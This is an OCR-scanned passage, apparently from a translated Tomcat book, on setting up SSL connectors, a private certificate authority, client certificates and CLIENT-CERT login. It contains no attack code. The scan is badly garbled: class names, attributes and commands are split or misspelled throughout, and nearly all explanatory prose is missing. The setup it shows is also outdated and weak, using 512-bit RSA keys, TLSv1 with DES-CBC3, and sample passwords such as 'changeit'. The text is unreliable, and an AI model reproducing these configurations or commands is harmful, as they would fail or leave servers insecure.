<Connect or cl assName="or g. apache. cat al i na. connect or. http. Ht t pConnect or"
port ="8443" mi nProcessors="5" maxProcessors="75"
enabl eLookups="true"
accept Count =" 10" debug="0" schenme="https" secure="true">

<Factory cl assNane="or g. apache. cat al i na. net. SSLSer ver Socket Fact or y"
client Auth="fal se" protocol ="TLS"/>

</ Connect or >

-->
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Tomcat 4.1

<l-- 8443 SSL Coyote HTTP/ 1.1 -->

<l--

<Connect or cl assName="org. apache. coyot e. t ontat 4. Coyot eConnect or"
port="8443" m nProcessors="5" maxProcessors="75"
enabl eLookups="tr ue"
accept Count =" 10" debug="0" schene="https" secure="true"
useURI Val i dat i onHack="f al se"> <Factory

cl assNane="or g. apache. coyot e. t ontat 4. Coyot eSer ver Socket Fact ory"
client Aut h="fal se" protocol ="TLS" />

</ Connect or >

>
Connect or <l--  -->
Tomcat
Tomcat keystoreFile
Factory “ changeit” keyst or ePass

<Factory cl assNanme="or g. apache. coyot e. t ontat 4. Coyot eSer ver Socket Fact ory"
keyst or eFi | e="/ hone/i an/ . keyst ore"
keyst orePass="secrit"
client Auth="fal se" protocol ="TLS" />

Tomcat https://localhost: 8443
Tomcat
6-5
ISP
SSL Factory Connect or
keystore
Tomcat X.509 SSL
X.509
X.509 Tomcat
CA CA JRE CA
HTTPS Tomcat servlet

CLI ENT- CERT
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Apache
5/ ™ gt Apache Jakarta Project

Bitp:/f jakarta. apache.argd
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6-5 Tomcat

SSL

CLI ENT- CERT

socket

Tomcat
SSL

# nkdir -p -mgo= /etc/ssl/private
# nkdir -p -mgo= /etc/ssl/private/client

CA

# openssl req -new -newkey rsa: 512 -nodes -out /etc/ssl/private/ca.csr

-keyout /etc/ssl/private/ca. key
Usi ng configuration from/usr/sharel/ssl/openssl.cnf
Generating a 512 bit RSA private key

R
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B
witing new private key to '/etc/ssl/private/ca. key'

You are about to be asked to enter information that wll be incorporated
into your certificate request.

What you are about to enter is what is called a D stinguished Nane or a DN
There are quite a few fields but you can | eave sone bl ank

For some fields there will be a default val ue,

If you enter '.', the field will be left blank.

Country Nane (2 letter code) [AU:US

State or Province Name (full nane) [Some-State]: California

Locality Nane (eg, city) []:Dublin

Organi zation Name (eg, conpany) [Internet Wdgits Pty Ltd]:Jason's
Certificate Authority

Organi zational Unit Name (eg, section) []:System Administration

Common Nane (eg, your nane or your server's hostnane) []: Jason's CA
Emai| Address []:jason@rittai nweb. org

Pl ease enter the following "extra' attributes
to be sent with your certificate request

A chal | enge password []:

An optional conpany nare []:

CA X.509

# openssl x509 -trustout -signkey /etc/ssl/private/ca.key -days 365 -req
-in /etc/ssl/private/ca.csr -out /etc/ssl/ca.pem

Si gnature ok

subj ect =/ C=US/ ST=Cal i f or ni a/ L=Dubl i n/ O=Jason's Certificate Authority/

OU=Syst em Admi ni strati on/ CN=Jason' s CA/ Emai | =j ason@rittai nweb. org

Cetting Private key

CA JDK CA

# keytool -inport -keystore $JAVA HOME/ jrel/lib/security/cacerts -file /
etc/ssl/ca.pem-alias jasonsca
Enter keystore password: changeit
Onner: Enmil Address=j ason@rittai nneb. org, CN=Jason's CA, OU=System
Adm ni stration, O=Jason's Certificate Authority, L=Dublin, ST=California, CUS
| ssuer: Email Address=jason@rittai nweb.org, CN=Jason's CA, OU=System
Admi ni stration, O=Jason's Certificate Authority, L=Dublin, ST=California, C=US
Serial nunber: 0
Valid from Thu Feb 06 00:46: 01 PST 2003 until: Fri Feb 06 00:46: 01 PST 2004
Certificate fingerprints:

MD5:  Bl1: EB: F5: B5: 37: 56: 50: 24: 1F: 07: 37: FA: 73: 01: B9: 9F

SHA1: 01: B6: D5: BB: 5A: 5F: 59: 7D: BC: 80: B7: ED: EC: 5E: BD: 37: C8: 71: F8: DD
Trust this certificate? [no]: vyes
Certificate was added to keystore

CA OpenSSL ‘02"
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# echo "02" > /etc/ssl/privatel/ca.srl

$ openssl req -new -newkey rsa: 512 -nodes -out
/etcl/ssl/private/client/clientl.req -keyout
/etcl/ssl/private/client/clientl. key

Usi ng configuration from/usr/sharel/ssl/openssl.cnf
Generating a 512 bit RSA private key

++++++++++H++

You are about to be asked to enter information that will be incorporated
into your certificate request.

Wiat you are about to enter is what is called a D stingui shed Nare or a DN
There are quite a few fields but you can | eave sone bl ank

For some fields there will be a default val ue,

If you enter '.', the field will be left blank.

Country Nane (2 letter code) [AY:US

State or Province Name (full nane) [Sone-State]:California

Locality Name (eg, city) []:Dublin

Organi zation Nanme (eg, conpany) [Internet Wdgits Pty Ltd]:OReilly
Organi zational Unit Nanme (eg, section) []:.

Common Nane (eg, your name or your server's hostnane) []:jasonb

Enmil Address []:]jason@rittai nweb.org

Pl ease enter the following 'extra' attributes
to be sent with your certificate request

A chal | enge password []:

An optional conpany nane []:

Common Name” Tomcat

Common Name” Real m
$CATALINA_HOME/conf/tomcat-users.xml
User Dat abaseReal m

CA X.509

# openssl x509 -CA /etc/ssl/ca. pem-CAkey /etc/ssl/private/ca.key
-CAserial /etc/ssl/private/ca.srl -req -in /etc/ssl/private/client/
clientl.req -out /etc/ssl/private/client/clientl. pem

Si gnat ure ok

subj ect =/ C=US/ ST=Cal i f or ni a/ L=Dubl i n/ O=0 Rei | | y/ CN=j asonb/

Enmi | =j ason@ri ttai nweb. org

Getting CA Private Key

X.509 PKCS12 PKCS12



# openssl pkcsl2 -export -clcerts -in /etc/ssl/private/client/clientl. pem
-inkey /etc/ssl/private/client/clientl key -out /etc/ssl/private/client/clientl. pl2
-name "Jason's Cient Certificate"

Enter Export Password: clientpw

Verifying password - Enter Export Password:clientpw

# keytool -1list
Enter keystore password: password

Keystore type: jks
Keyst ore provider: SUN

Your keystore contains 1 entry:

tontat, Fri Feb 07 06:07:25 PST 2003, keyEntry,
Certificate fingerprint (MX): B9:77:65: 1C 3F: 95: F1: DC: 36: E3: F7: 7C. B0: 07: B2: 8C

JRE CA CA

# keytool -list -keystore $JAVA HOVWE/ jre/lib/security/cacerts
Enter keystore password: changeit

Keystore type: jks
Keyst ore provider: SUN

Your keystore contains 11 entries:

t hawt eper sonal freemmil ca, Fri Feb 12 12:12:16 PST 1999, trustedCertEntry,
Certificate fingerprint (MD5):

1E: 74: C3: 86: 3C. 0C: 35: C5: 3E: C2: 7F: EF: 3C. AA: 3C. D9

t hawt eper sonal basi cca, Fri Feb 12 12:11:01 PST 1999, trustedCertEntry,
Certificate fingerprint (MD5):

E6: 0B: D2: C9: CA: 2D: 88: DB: 1A: 71: OE: 4B: 78: EB: 02: 41

veri signcl ass3ca, Mon Jun 29 10:05:51 PDT 1998, trustedCertEntry,
Certificate fingerprint (MD5):

78: 2A: 02: DF: DB: 2E: 14: D5: A7: 5F: OA: DF: B6: 8E: 9C. 5D

thawt eserverca, Fri Feb 12 12:14:33 PST 1999, trustedCertEntry,
Certificate fingerprint (MD5):

C5: 70: C4: A2: ED: 53: 78: 0C: C8: 10: 53: 81: 64: CB: DO: 1D

t hawt eper sonal premi unta, Fri Feb 12 12:13:21 PST 1999, trustedCertEntry,
Certificate fingerprint (MD5):

3A: B2: DE: 22: 9A: 20: 93: 49: F9: ED: C8: D2: 8A: E7: 68: 0D

veri si gncl ass4ca, Mon Jun 29 10: 06: 57 PDT 1998, trustedCertEntry,
Certificate fingerprint (MD5):

1B: D1: AD: 17: 8B: 7F: 22: 13: 24: F5: 26: E2: 5D: 4E: B9: 10

veri signcl asslca, Mon Jun 29 10:06: 17 PDT 1998, trustedCertEntry,
Certificate fingerprint (MD5):

51: 86: E8: 1F: BC. B1: C3: 71: B5: 18: 10: DB: 5F: DC: F6: 20

verisignserverca, Mon Jun 29 10:07:34 PDT 1998, trustedCertEntry,
Certificate fingerprint (MD5):

74:7B: 82: 03: 43: FO: 00: 9E: 6B: B3: EC: 47: BF: 85: A5: 93
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t hawt epr em unserverca, Fri Feb 12 12:15:26 PST 1999, trustedCertEntry,
Certificate fingerprint (M5):

06: 9F: 69: 79: 16: 66: 90: 02: 1B: 8C: 8C: A2: C3: 07: 6F: 3A

jasonsca, Mon Feb 10 10: 04: 45 PST 2003, trustedCertEntry,

Certificate fingerprint (M5):

22: A9: 36: 5C: 7F: 2A: F1: 12: 6A: 22: DD: 1E: 7A: 0C: B5: 6C

veri signcl ass2ca, Mon Jun 29 10: 06: 39 PDT 1998, trustedCertEntry,
Certificate fingerprint (MD5):

EC:. 40: 7D: 2B: 76: 52: 67: 05: 2C:. EA: F2: 3A: 4F: 65: FO: D8

Tomcat HTTPS SSL HTTPS
Factory server.xml clientAuth true

<Connect or cl assName="or g. apache. coyot e. t ontat 4. Coyot eConnect or "
port="8443" m nProcessors="5" nmaxProcessors="75"
enabl eLookups="tr ue"
accept Count =" 100" debug="0" schene="https" secure="true"
useURl Val i dati onHack="f al se" di sabl eUpl oadTi neout ="true">
<Factory cl assNanme="or g. apache. coyot e. t ontat 4. Coyot eSer ver Socket Fact or y"
client Auth="true" protocol ="TLS"
keystoreFi | e="/root/. keystore" keystorePass="password"/>
</ Connect or >

keystoreFi |l e keystorePass Tomcat
Tomcat Tomcat
Secur eRandom
Email
SSH scp clientl.p12
Mozilla “ " “ "
Web CLI ENT- CERT
ROOT Web.xml CLI ENT- CERT
<web- app>

<di spl ay- nane>Weél cone to Tontat </ di spl ay- nane>
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<descri ption>
Wl come to Tontat
</ descri pti on>

<l ogi n-confi g>
<aut h- met hod>CL| ENT- CERT</ aut h- net hod>
<real mname>d ient Cert Users-only Area</real mnane>

</l ogi n-confi g>

<I-- -->
</ web- app>

descriptor security-constraint CLI ENT-

CERT security-
constraint Realm

# openssl s_client -connect |ocal host: 8443 -cert
/etcl/ssl/private/client/clientl. pem-key
/etc/ssl/private/client/clientl.key -tlsl

CONNECTED( 00000003)
dept h=0 / C=US/ ST=Cal i f or ni a/ L=Dubl i n/ O=Bri t t ai nWb/ QU=Syst em Admi ni strati on/
CN=Jason Brittain
verify error: num=18: sel f signed certificate
verify return:1
dept h=0 / C=US/ ST=Cal i f or ni a/ L=Dubl i n/ O=Bri t t ai n\Vb/ QU=Syst em Admi ni st rati on/
CN=Jason Brittain
verify return:1
Certificate chain

0 s:/CUY ST=Cal i for ni a/ L=Dubl i n/ O=Bri t t ai nVb/ AU=Syst em Admi ni strati on/ ON=Jason
Brittain

i:/C=US ST=Cal i f or ni a/ L=Dubl i n/ O=Bri t t ai nVb/ OJ=Syst em Adni ni strat i on/ O\N=Jason

Brittain
Server certificate
----- BEG N CERTI FI CATE- - - - -
M | CeDCCAe ECBD5HAZ UnDQYJKoZI hve NAQEEBQAWG Y1 x Cz AJBgNVBAYTAI VTVRMV
EQYDVQQ EwpDYWkpZnmBybnm hMBwWDQYDVQRHEWZEdW) s aWix FDASBgNVBAO TCOJy
aXROYW UV2Vi MRAWHAYDVQQL ExVTeXNOZWgQURt aWbpc 3Ry YXRpb24x Fz AVBgNV
BAMIDkphc29ul EJyaXROYW ulNMB4XDTAz VDI x MDE3Mz Y1MLoXDTAz MDUXMIE3Mz Y1
MLowg Yl xCz AJBgNVBAYTAl VTVRMAEQYDVQQ Ewp DYWkpZnBy bm hMBWDQYDVQQH
EWZEdW s aWix FDASBgNVBAO TCOJy aXROYW uV2Vi MRAWHAYDVQQLExVTe XNOZWDg
QAR aWbpc 3Ry YXRpb24xFz AVBgNVBAMI Dkphc29ul EJyaXROYW uM Gf MAOGCSqG
S| b3DQEBAQUAAAGNADCBI (KBgQCnLV6bj D270dw7z7j uaWuQtt kf YOnVe/ Z3kpS
XScmQ yJ26zVH LaYEz2CdaGKTowlkJSX/ yKBdsf boWwrgFl 083zFJDUdR3927af v
SBAL+/ yuNwb5Z7t Tk OONOFI Dy LBISYOhwwdv 1MHpgz WE29 Tl gHB24+t KI JbQak X
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i xzxLwl DAQABNVAOGCSqGS| b3DQEBBAUAAAGBABp2KgnVBG EFNETSNi sgVgzyuhj
AbaYpOuvHSUR] QxOP+/ 2A5kbK+SAHQBI Q4 +i w4Z/ OKvNoPPd5VPuEMai yi 8Foj Gn

Q 21Bp9AIKhEPHCXU3QLZ4L| zNLi 0CRo6nceAlXxEy9sWCS i syFIWMVE75W / hf A4
0GJeTeVRsKToyud4M

----- END CERTI FI CATE- - - - -

subj ect =/ C=US/ ST=Cal i f or ni a/ L=Dubl i n/ O=Bri t t ai n\Wb/ OU=Syst em

Adnmi ni stration/

CN=Jason Brittain

i ssuer =/ C=US/ ST=Cal i for ni a/ L=Dubl i n/ G=Bri tt ai n\\eb/ OU=Syst em

Adnmi ni stration/

CN=Jason Brittain

Acceptable client certificate CA nanes

/ C=US/ O=Veri Sign, Inc./OJU=Cass 2 Public Primary Certification Authority

/ C=US/ O=Veri Sign, Inc./OJ=Cass 3 Public Primary Certification Authority

| C=ZAl ST=Wést ern Cape/ L=Cape Town/ O=Thawt e Consul ti ng cc/ OU=Certification
Servi ces Division/ CN=Thawt e Prem um Server CA/ Email =prem um

server @hawt e. com

| C=ZA ST=Wést ern Cape/ L=Cape Town/ O=Thawt e Consul ti ng/ QU=Certifi cation Services
Di vi si on/ CN=Thawt e Personal Freenmil CA/ Email =personal -freenai | @hawt e. com
/ C=US/ O=RSA Data Security, Inc./OJSecure Server Certification Authority

/ C=US/ O=Veri Sign, Inc./QU=Cass 1 Public Primary Certification Authority

| C=ZAl ST=Wést ern Cape/ L=Cape Town/ O=Thawt e Consulting cc/ OQk=Certification
Services Division/CN=Thawt e Server CA/ Enmil =server-certs@ haw e. com

/ C=US/ O=Veri Sign, Inc./QU=C ass 4 Public Primary Certification Authority

| C=ZAl ST=\¢st er n Cape/ L=Cape Town/ O=Thawt e Consul ti ng/ QJ=Certification D vi si on/
CN=Thawt e Personal Prem um CA/ Enai | =per sonal - pr emi um@ hawt e. com

/ C=US/ ST=Cal i f or ni a/ L=Dubl i n/ O=Jason's Certificate Authority/ OJkSystem
Admi ni stration/ CN=Jason Brittain/ Email =j asonb@ol | ab. net

| C=ZAl ST=Wést ern Cape/ L=Cape Town/ O=Thawt e Consul ting/ OU=Certification
Servi ces Division/ ONsThawt e Personal Basic CA/ Enai | =per sonal - basi c@ hawt e. com

SSL handshake has read 2517 bytes and witten 1530 bytes

New, TLSv1l/SSLv3, G pher is DES- CBC3-SHA
Server public key is 1024 bit

SSL- Sessi on:
Protocol : TLSvl
G pher . DES- CBC3- SHA
Sessi on- 1 D

3E47E6583D62F9C7 ABAF136 FEA9BO0A4A17E93E18DBI8634FC3F75A1BDO80EF6
Sessi on-1D-ct x:
Mast er - Key:
2625E1CE66C2EB88D2EF1767877EA6996DD4B4B847CD3BOD4D1CC62216C1
80A0829DBD21DESD399760A3BA760872C527

Key- Ar g : None
Start Time: 1044899416
Ti meout : 7200 (sec)

Verify return code: 0 (ok)

openssl s _client SSL
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